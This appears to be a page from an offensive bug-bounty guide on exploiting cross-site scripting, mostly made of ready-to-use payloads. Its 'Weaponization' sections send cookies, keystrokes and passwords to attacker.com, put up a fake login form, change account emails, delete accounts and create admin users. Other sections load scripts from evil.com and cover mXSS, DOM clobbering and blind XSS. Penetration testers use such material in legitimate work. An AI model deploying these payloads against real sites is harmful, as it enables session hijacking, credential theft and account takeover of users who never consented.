XSS Exploitation¶
You found a reflection. Now make it matter.
Confirm Execution¶
Step 1: Prove Script Execution¶
Don't use alert(1). Use something that proves context:
alert() might be blocked
Some sites override alert(). Use console.log() or prompt() as fallback.
Step 2: Document the Payload¶
Save: - Full URL with payload - HTTP request (if POST) - Screenshot of execution - Context (where payload lands)
Event Handlers Reference¶
<!-- Common events -->
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmouseout, onmousemove
onkeydown, onkeypress, onkeyup
onload, onerror, onunload, onresize
onfocus, onblur, onchange, onsubmit
onscroll, onwheel
ondrag, ondragstart, ondragend, ondrop
onanimationstart, onanimationend, onanimationiteration
ontransitionend
<!-- Payloads -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x>
Weaponization¶
Session Hijacking¶
// Send cookies to attacker
new Image().src="https://attacker.com/steal?c="+document.cookie;
// Fetch version (more data)
fetch("https://attacker.com/steal?c="+document.cookie);
// With full request details
fetch("https://attacker.com/log",{method:"POST",body:JSON.stringify({cookie:document.cookie,url:location.href})});
Keylogging¶
document.onkeypress=function(e){
new Image().src="https://attacker.com/log?k="+e.key;
}
// Or capture form input
document.querySelector('form').onsubmit=function(){
fetch('https://attacker.com/log?data='+encodeURIComponent(document.querySelector('[name=password]').value));
}
Phishing (Fake Login)¶
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
CSRF via XSS¶
// Change email (account takeover setup)
fetch("/api/user/email",{
method:"POST",
headers:{"Content-Type":"application/json"},
credentials:"include",
body:JSON.stringify({email:"attacker@evil.com"})
});
// Delete account
fetch('/admin/delete?user=victim', {method:'POST',credentials:'include'});
Admin Actions¶
// Add admin user
fetch("/admin/users/create",{
method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},
body:"username=hacker&password=hacker123&role=admin"
});
Advanced Techniques¶
Using eval()¶
Using DOM¶
document.write('<script>alert(1)<\/script>')
document.body.innerHTML='<img src=x onerror=alert(1)>'
location='javascript:alert(1)'
Polyglots¶
Mutation XSS (mXSS)¶
Browser parsing quirks:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
DOM Clobbering¶
Override undefined variables:
<!-- If code checks: if(typeof config === 'undefined') -->
<form id="config"><input id="url" value="javascript:alert(1)"></form>
<!-- config.url now returns "javascript:alert(1)" -->
<!-- Override x.y -->
<form id="x"><input id="y" value="payload"></form>
<!-- Override with toString -->
<a id="x" href="javascript:alert(1)">
<!-- x.toString() returns href value -->
External Script Loading¶
If payload length is limited:
<!-- Short loader -->
<script src=//evil.com/x.js></script>
<!-- Even shorter -->
<script src=//evil.com>
Your x.js contains the full payload.
Blind XSS¶
For stored XSS in admin panels you can't access:
"><script src=https://your-xss-hunter.com/probe.js></script>
"><img src=x onerror=eval(atob('BASE64_PAYLOAD'))>
Use: - XSS Hunter - Interactsh - Your own server
Delivery Methods¶
Reflected XSS¶
Link shortener to hide payload, or:
POST-based XSS¶
Create auto-submit form:
<html>
<body>
<form id="f" action="https://target.com/vuln" method="POST">
<input name="param" value="<script>alert(1)</script>">
</form>
<script>document.getElementById("f").submit();</script>
</body>
</html>
Special Cases¶
Markdown XSS¶
SVG XSS¶
PDF XSS¶
Hidden Input XSS¶
<!-- Using popover (modern browsers) -->
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)">
<button popovertarget="x">Click</button>
<!-- Using accesskey -->
<input type="hidden" accesskey="X" onclick="alert(1)">
<!-- ALT+SHIFT+X on Windows/Linux -->
Browser-Specific¶
Chrome¶
- Strict CSP enforcement
- Doesn't run inline scripts easily with CSP
Firefox¶
- More lenient in some edge cases
- Different SVG handling
Safari¶
javascript:in meta refresh sometimes works- Some unique DOM behaviors
Hit filters or WAF? Check Bypasses.
Got execution? Move to Escalation to maximize impact.